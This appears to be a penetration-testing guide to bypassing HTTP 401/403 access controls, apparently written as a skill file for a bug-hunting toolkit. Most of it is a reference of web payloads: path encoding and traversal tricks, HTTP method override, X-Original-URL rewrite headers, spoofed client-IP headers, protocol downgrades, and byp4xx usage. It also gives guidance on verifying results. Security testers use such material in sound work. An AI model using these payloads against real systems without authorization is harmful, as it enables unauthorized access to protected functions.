401/403 Bypass Techniques
A bypass candidate appears when two HTTP-processing layers (CDN, reverse proxy, web server, framework) decide differently about the same request. The useful signal is a change in routing or protected content, not a status code alone.
When to Use
- A known route returns
401 Unauthorizedor403 Forbidden. - A reverse proxy, WAF, API gateway, or CDN sits in front of the application.
- Frontend and backend normalize paths, methods, or headers differently.
- IIS, Tomcat, Spring, Apache, Nginx, or WebDAV routing is visible.
- Equivalent requests return different status, headers, or body, hinting at a routing differential.
Prerequisites
- An HTTP client that preserves raw paths:
curl --path-as-isor Burp Repeater. - A denied baseline request plus a marker for the expected protected content.
- Optional tooling:
byp4xx,dirsearch,feroxbuster, Burp Intruder,nghttp,nc.
How to Run
TARGET="https://target.example"
PATH_DENIED="/admin"
OUTDIR="${OUTPUT_DIR:-./output}/401-403"
mkdir -p "$OUTDIR"
# Denied baseline: record status, headers, and body for comparison.
curl -sS --path-as-is --max-time 10 \
-D "$OUTDIR/baseline.headers" -o "$OUTDIR/baseline.body" \
-w 'status=%{http_code} bytes=%{size_download} redirect=%{redirect_url}\n' \
"$TARGET$PATH_DENIED"
# Compare candidates against the baseline.
curl -sS --path-as-is --max-time 10 -i "$TARGET/./${PATH_DENIED#/}"
curl -sS --path-as-is --max-time 10 -i -X OPTIONS "$TARGET$PATH_DENIED"
curl -sS --path-as-is --max-time 10 -i -H 'X-Forwarded-For: 127.0.0.1' "$TARGET$PATH_DENIED"
For each candidate, compare status, Location, body length, title, and a
protected-content marker against the baseline.
Procedure
1. Path Manipulation Bypasses
The core idea: the reverse proxy/WAF checks one path format, but the backend
normalizes differently. The ✓ marks request forms that commonly reach the
backend through a different route; a 200 alone is not proof of access (see
Verification).
1.1 Trailing Slash / Missing Slash
/admin → 403
/admin/ → 200 ✓ (trailing slash)
/admin/. → 200 ✓ (trailing dot)
1.2 Case Sensitivity
/admin → 403
/Admin → 200 ✓
/ADMIN → 200 ✓
/aDmIn → 200 ✓
Works when: proxy rule is case-sensitive but backend is case-insensitive (common on Windows/IIS).
1.3 URL Encoding
/admin → 403
/%61dmin → 200 ✓ (encode 'a')
/admi%6e → 200 ✓ (encode 'n')
/%61%64%6d%69%6e → 200 ✓ (full encode)
1.4 Double URL Encoding
/admin → 403
/%2561dmin → 200 ✓ (%25 = %, decoded twice: %61 → a)
/admin%252f → 200 ✓
/admin..%252f → 200 ✓
1.5 Unicode / UTF-8 Encoding
/admin → 403
/admi%C0%AE → 200 ✓ (overlong UTF-8 for '.')
/admi%C0%6E → 200 ✓ (overlong UTF-8 for 'n')
/%C0%AFadmin → 200 ✓ (overlong UTF-8 for '/')
Modern UTF-8 decoders reject overlong forms; these target legacy parsers and mixed decoding chains.
1.6 Dot-Segment / Path Traversal
/admin → 403
/./admin → 200 ✓
//admin → 200 ✓
/admin/./ → 200 ✓
/.//admin → 200 ✓
/admin..;/ → 200 ✓ (Tomcat path parameter)
1.7 Null Byte
/admin → 403
/admin%00 → 200 ✓
/admin%00.json → 200 ✓
/%00/admin → 200 ✓
Relevant to older native modules; modern managed runtimes usually reject embedded NUL bytes.
1.8 Path Parameter Injection
/admin → 403
/admin;foo=bar → 200 ✓ (Tomcat/Java treats ; as path param)
/admin; → 200 ✓
/admin;x → 200 ✓
1.9 Trailing Special Characters
/admin%20 (space) /admin%09 (tab) /admin? (empty query)
/admin.json /admin.html /admin/~
1.10 Backslash (Windows/IIS)
/admin\ /admin\..\/ \..\admin
1.11 Combined Path Tricks
///admin/// /./admin/./ /admin/..;/admin (Tomcat) /%2e/admin
2. HTTP Method Bypass
2.1 Direct Method Change
GET /admin → 403
POST /admin → 200 ✓
PUT /admin → 200 ✓
PATCH /admin → 200 ✓
DELETE /admin → 200 ✓
OPTIONS /admin → 200 ✓ (may leak allowed methods)
TRACE /admin → 200 ✓ (may reflect headers — XST)
HEAD /admin → 200 ✓ (bodyless response; does not by itself confirm access to the protected body)
2.2 Method Override Headers
When the proxy blocks by method, but the backend reads override headers:
GET /admin HTTP/1.1
X-HTTP-Method-Override: PUT
GET /admin HTTP/1.1
X-Method-Override: POST
GET /admin HTTP/1.1
X-HTTP-Method: DELETE
POST /admin HTTP/1.1
X-HTTP-Method-Override: PATCH
_method=PUT (in POST body — Rails, Laravel)
2.3 Custom / Invalid Methods
FOOBAR /admin HTTP/1.1 → some ACLs only check GET/POST
GETS /admin HTTP/1.1 → typo-like methods may bypass
CONNECT /admin HTTP/1.1 → proxy may tunnel
PROPFIND /admin HTTP/1.1 → WebDAV method
MOVE /admin HTTP/1.1 → WebDAV method
3. Header-Based Bypass
3.1 URL Rewrite Headers (Reverse Proxy / IIS ARR)
These headers tell the backend the "real" URL, bypassing proxy-level path checks:
GET / HTTP/1.1
X-Original-URL: /admin
GET / HTTP/1.1
X-Rewrite-URL: /admin
The proxy sees GET / (allowed), but the backend routes to /admin.
3.2 IP Spoofing Headers (Whitelist Bypass)
Headers to try (each with values 127.0.0.1, 10.0.0.1, 0.0.0.0, ::1):
X-Forwarded-For | X-Real-IP | X-Originating-IP | X-Remote-IP
X-Remote-Addr | X-Client-IP | True-Client-IP | Cluster-Client-IP
X-ProxyUser-IP | X-Custom-IP-Authorization | Forwarded: for=127.0.0.1
IP encoding variants: 0177.0.0.1 (octal), 2130706433 (decimal),
0x7f000001 (hex), localhost
3.3 Other Header Tricks
Referer: https://target.com/admin # Referrer check bypass
Origin: https://target.com # Origin check bypass
Host: localhost # Host header manipulation
X-Forwarded-Host: localhost # Forwarded host
Content-Type: application/json # Content-type switch
X-Requested-With: XMLHttpRequest # AJAX flag
4. Protocol Version Bypass
# HTTP/1.0 (some ACLs only apply to HTTP/1.1)
GET /admin HTTP/1.0
# HTTP/0.9 (extremely legacy — no headers)
GET /admin
# HTTP/2 pseudo-header tricks
:method: GET
:path: /admin
:authority: target.com
# See the hunt-http-smuggling skill for H2-specific bypasses, including h2c upgrade.
5. Verb Tampering + Path Combination
Combine multiple techniques for higher success rate:
POST / HTTP/1.1 # method override + URL rewrite
X-Original-URL: /admin
X-HTTP-Method-Override: GET
GET /%61dmin HTTP/1.1 # IP spoof + path encoding
X-Forwarded-For: 127.0.0.1
GET /Admin HTTP/1.0 # protocol + case + IP spoof
X-Forwarded-For: 127.0.0.1
6. Technology-Specific Bypasses
| Server | Key Tricks |
|---|---|
| Apache | /admin/ (trailing slash), /.admin (dot prefix), /admin%0d (CR) |
| Nginx | /Admin (case), /admin../ (normalization), X-Original-URL: /admin |
| IIS/ASP.NET | /admin;.css (path param+ext), /admin\ (backslash), /admin::$DATA (ADS), /admin%20 |
| Tomcat/Java | /admin;foo (path param), /admin..;/ (traversal), /;/admin (empty param) |
| Spring | /admin.anything (suffix matching, older), /admin/ (trailing slash) |
7. Automated Tools
| Tool | Purpose | URL |
|---|---|---|
| byp4xx | Comprehensive 403 bypass scanner | github.com/lobuhi/byp4xx |
| dirsearch | Directory brute-force with encoding variants | github.com/maurosoria/dirsearch |
| feroxbuster | Recursive content discovery | github.com/epi052/feroxbuster |
| Burp Intruder | Custom payload lists for manual testing | portswigger.net |
byp4xx usage
# Basic usage: attempts path, method, header, and protocol variants.
byp4xx -m 10 --rate 5 -xD "https://target.com/admin"
# Output shows all attempted bypasses and their response codes.
# Treat 200/301/302 rows as candidates; confirm each against the baseline.
8. Decision Tree
Got 401 or 403 on a path?
│
├── Try PATH MANIPULATION first (highest success rate)
│ ├── /path/ (trailing slash)
│ ├── /PATH (case change)
│ ├── /path%20 (trailing space)
│ ├── /./path (dot segment)
│ ├── //path (double slash)
│ ├── /path;x (path parameter — Java/Tomcat)
│ ├── /path..;/ (Tomcat specific)
│ ├── /%2e/path (encoded dot)
│ ├── /path%00 (null byte)
│ ├── /path%23 (encoded hash)
│ └── Result? → status/body differ from baseline = candidate
│
├── Path tricks failed → Try METHOD BYPASS
│ ├── POST/PUT/PATCH/DELETE/OPTIONS
│ ├── HEAD (bodyless GET — verify body access separately)
│ ├── X-HTTP-Method-Override: PUT
│ └── TRACE (may reflect auth headers — XST)
│
├── Method tricks failed → Try HEADER BYPASS
│ ├── X-Original-URL: /path (reverse proxy/IIS rewrite)
│ ├── X-Rewrite-URL: /path (same concept)
│ ├── X-Forwarded-For: 127.0.0.1 (IP whitelist)
│ ├── X-Real-IP: 127.0.0.1
│ ├── True-Client-IP: 127.0.0.1
│ └── Referer: https://target.com/path
│
├── Header tricks failed → Try PROTOCOL BYPASS
│ ├── HTTP/1.0 instead of 1.1
│ ├── HTTP/2 h2c smuggling (hunt-http-smuggling)
│ └── WebSocket upgrade
│
├── Single techniques failed → Try COMBINATIONS
│ ├── Method + Path: POST /PATH/
│ ├── Header + Path: X-Forwarded-For + /path%20
│ ├── All three: POST + X-Original-URL + IP headers
│ └── Protocol + Path: HTTP/1.0 + encoded path
│
├── All bypasses failed → Consider ALTERNATIVE APPROACHES
│ ├── Request smuggling (hunt-http-smuggling) → smuggle past ACL
│ ├── SSRF (hunt-ssrf) → access from server
│ ├── IDOR (hunt-idor) → access data directly
│ └── Auth flaws (hunt-auth-bypass) → login bypass
│
└── Automated scan with byp4xx for completeness
Quick Reference — Key Payloads
# Top 10 quick-wins (try these first)
GET /admin/ HTTP/1.1 # trailing slash
GET /Admin HTTP/1.1 # case change
GET /admin%20 HTTP/1.1 # trailing space
GET /./admin HTTP/1.1 # dot segment
GET //admin HTTP/1.1 # double slash
POST /admin HTTP/1.1 # method change
GET / HTTP/1.1 # X-Original-URL bypass
X-Original-URL: /admin
GET /admin HTTP/1.1 # IP whitelist bypass
X-Forwarded-For: 127.0.0.1
GET /admin;.css HTTP/1.1 # IIS path param
GET /admin..;/ HTTP/1.1 # Tomcat bypass
Pitfalls
- A
200may be a login page, generic error, WAF challenge, SPA shell, or cached public response. - A
301/302may only redirect to authentication; inspectLocationand the destination body. HEADhas no body;OPTIONSandTRACEexpose method behavior, not the protected content.- CDN, proxy, server, framework, and application layers may each normalize differently; identify the layer responsible for a change.
- Browsers and CLI clients normalize URLs differently; use
--path-as-is. - Some clients and servers collapse
//and dot-segments before any check runs, so a candidate can hit the wire as the plain baseline path; confirm the raw request target (Burp Repeater shows what was actually sent). - Legacy parser forms only work where a compatible parser exists.
- Cache hits can make distinct requests look identical or a candidate look successful without reaching the protected handler.
Verification
- Compare every candidate with the denied baseline: status, reason phrase,
Location,WWW-Authenticate,Allow, cache and content-type headers, title, body length, and protected-content markers. - Repeat with a cache buster when cache behavior is ambiguous.
- A bypass is confirmed when the candidate reaches protected content or behavior the baseline cannot reach; a status change alone is an observation, not a bypass.